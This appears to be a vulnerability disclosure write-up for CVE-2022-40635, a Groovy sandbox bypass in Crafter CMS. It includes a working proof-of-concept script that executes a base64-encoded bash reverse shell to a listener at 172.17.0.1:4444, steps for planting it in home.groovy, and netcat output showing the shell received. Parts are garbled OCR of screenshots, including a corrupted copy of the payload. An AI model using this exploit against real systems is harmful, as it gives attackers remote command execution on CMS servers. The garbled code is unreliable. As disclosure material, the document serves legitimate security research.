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Crafter CMS is made possible by these other

Setup:

In order to setup the environment, docker was installed on an Ubuntu Linux machine and
the following commands were run:

git clone https://github.com/craftercms/docker-compose.git
cd docker-compose/authoring
sudo docker-compose up




Findings:
1. CVE-2022-40635: Groovy Sandbox Bypass

Description:
By inserting malicious Groovy elements, an attacker may bypass Sandbox restrictions and
obtain RCE (Remote Code Execution).

Proof of Concept:
The following Groovy script was tested and successfully bypasses restrictions resulting in the
execution of arbitrary system commands:

//RCE

def x = new javax.script.ScriptEngineManager ()

def y = x.getEngineByName ("js") .eval ("java.lang.Runtime.getRuntime () .exec('bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQONDQgMD4mMQo=} | {base64,-d} |bash') ")

Note: In this case, the above system command will execute a bash reverse shell that will be
sent back to the attacker listening on host 172.17.0.1, port 4444,

In order to actually trigger the RCE we will create a new site, access the “Sidebar” and select
a Groovy Script to edit (in this case we will edit “home.groovy” which will execute every time

the home page is accessed).

Accessing the “Sidebar” and selecting a Groovy Script to edit:
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Inserting the malicious Groovy Script:

0 D localhost:

home.groovy

Template code examples | Access Content Model
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* Copyright (C) 2007-2020 Crafter Software Corporation. ALl Rights Reserved.
* This program is free software: you can redistribute it and/or modify
* the Free Software Foundation.

* This program is distributed in the hope that it will be useful,
9 * but WITHOUT ANY WARRANTY; without even the implied warranty of
10 * MERCHANTABILITY or FITNESS FOR A PARTLCULAR PURPOSE. See the
11 * GNU General Public License for more details.
1+
13 * You should have received a copy of the GNU General Public License
14 * along with this program. If not, see <http://waw.gnu.org/licenses/>.
15 */

17 import org.craftercns.sites.editorial.SearchHelper
18 import org.craftercns.sites.editorial.Profileutils

20 def segment = ProfileUtils.getSegment(profile, siteItemservice)
21 def searchHelper = new SearchHelper(elasticsearch, urlTransformationservice)
22 def articles = searchHelper.searchArticles(true, null, segment

24 templateModel.articles = articles

1
2
3
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5 * it under the terms of the GNU General Public License version 3 as published by
6
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Theme: [Light v

27 | //RCE
28 |def x = new javax.script.ScriptEngineManager()|

29 |def y = x.getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('bash -c {echo,VnFzaCAtaSA+JiAVZGU2L3RICCXNZIUNTCUNCAXL2QONDQQNDANMQo=} | {base64, -d} [bash’)")

Bypassing Groovy checks (left) and receiving back a reverse shell when the home page is

reloaded (right):
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guest@tester: ~/Desktop/CraftercMs/docker-compose/authoring
£ $ nc -nlvp 4444
Listening on 6.0.0.6 4444
Connection received on 172.18.0.4 57738
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
crafter@757aceasacba: fopt/crafters id

id
uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
crafter@757aceasacb4: fopt/crafters



